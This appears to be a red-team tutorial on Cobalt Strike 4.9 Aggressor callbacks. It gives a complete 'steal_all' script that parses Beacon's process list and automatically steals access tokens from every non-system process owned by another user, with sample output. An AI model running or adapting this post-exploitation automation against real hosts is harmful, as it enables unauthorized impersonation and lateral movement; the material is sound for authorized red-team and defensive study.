Cobalt Strike Aggressor Callbacks
The Cobalt Strike 4.9 release introduced support for registering Aggressor callbacks for several functions including bexecute_assembly
, bpowerpick
, and binline_execute
. Prior to this feature, there was no practical way of tasking Beacon and then performing further actions based on the output (other than reading it on the console and then manually issuing more commands). To demonstrate the usefulness of these new callbacks, let’s consider a scenario involving the token store. Until now, we have had to either issue a ps
command to list the processes running on a system and then type or copy/paste the PID of each one into the token-store
command.
beacon> ps
PID PPID Name Arch Session User
--- ---- ---- ---- ------- ----
179184 179028 cmd.exe x64 2 DESKTOP-1U6AHIU\test_user
128392 181212 cmd.exe x64 2 DESKTOP-1U6AHIU\test_user2
beacon> token-store steal 179184,128392 11
[*] Stored Tokens
ID PID User
-- --- ----
0 179184 DESKTOP-1U6AHIU\test_user
1 128392 DESKTOP-1U6AHIU\test_user2
Or use the process explorer GUI to go through and highlight each process individually.
By utilising the callbacks, we can execute the bps
function in Aggressor, parse the output and automatically pass the target PIDs to btoken_store_steal
. A callback can be provided directly in the bps function, so instead of bps($1)
, it can be bps($1, &ps_cb)
. The callback function will receive the ID of the Beacon and the result of bps
. Here, I just perform some regex on the output to extract the process name, PID, arch, and username. Each PID that matches my criteria is added to a list.
sub ps_cb {
# $1 = beacon ID
# $2 = results
local('$current_user $stolen $targets');
# get our current username
# but strip off the * when elevated
$current_user = replace(binfo($1, "user"), '(\s.*)', "");
# a list to hold the names
# of users already stolen from
@stolen = @();
# a list of PIDs to steal from
@targets = @();
# loop over every process
# [name] [ppid] [pid] [arch] [user] [session]
while ($2 hasmatch '(.*.exe)\t[0-9]*\t([0-9]*)\t(x64|x86)\t(.*)\t\d')
{
local('$process $pid $arch $user');
$process = matched()[0];
$pid = matched()[1];
$arch = matched()[2];
$user = matched()[3];
# if the process belongs to a different user
if ($user !ismatch ".*\\ $+ $current_user $+ ")
{
# ignore system accounts
if ($user ismatch 'NT(\s)AUTHORITY.*') {
continue;
}
# ignore if already stolen from this user
if ($user in @stolen) {
continue;
}
## log to the console
blog2($1, "Adding $+ $process $+ ( $+ $pid $+ | $+ $arch $+ ) to list of tokens to steal from");
# add to lists
push(@stolen, $user);
push(@targets, $pid);
}
}
# attempt to steal tokens and add to store
btoken_store_steal($1, @targets, 11);
}
The call to bps
can be registered as a new Beacon command.
alias steal_all {
bps($1, &ps_cb);
}
beacon_command_register(
"steal_all",
"Steal access tokens from all processes",
"Synopsis: steal_all\n\nSteal access tokens from all processes not owned by the current user.\nExcludes processes owned by NT AUTHORITY\\*");
Example usage:
beacon> steal_all
[*] Adding cmd.exe (179184|x64) to list of tokens to steal from
[*] Adding cmd.exe (128392|x64) to list of tokens to steal from
[*] Tasked beacon to steal token from PID(s) 179184,128392 with OpenProcessToken access mask 11
[*] Stored Tokens
ID PID User
-- --- ----
0 179184 DESKTOP-1U6AHIU\test_user
1 128392 DESKTOP-1U6AHIU\test_user2
This was a simple example of how these new callbacks can drive additional automation within Aggressor scripts. The Cobalt Strike team have also published several examples to GitHub, which you should check out for additional inspiration.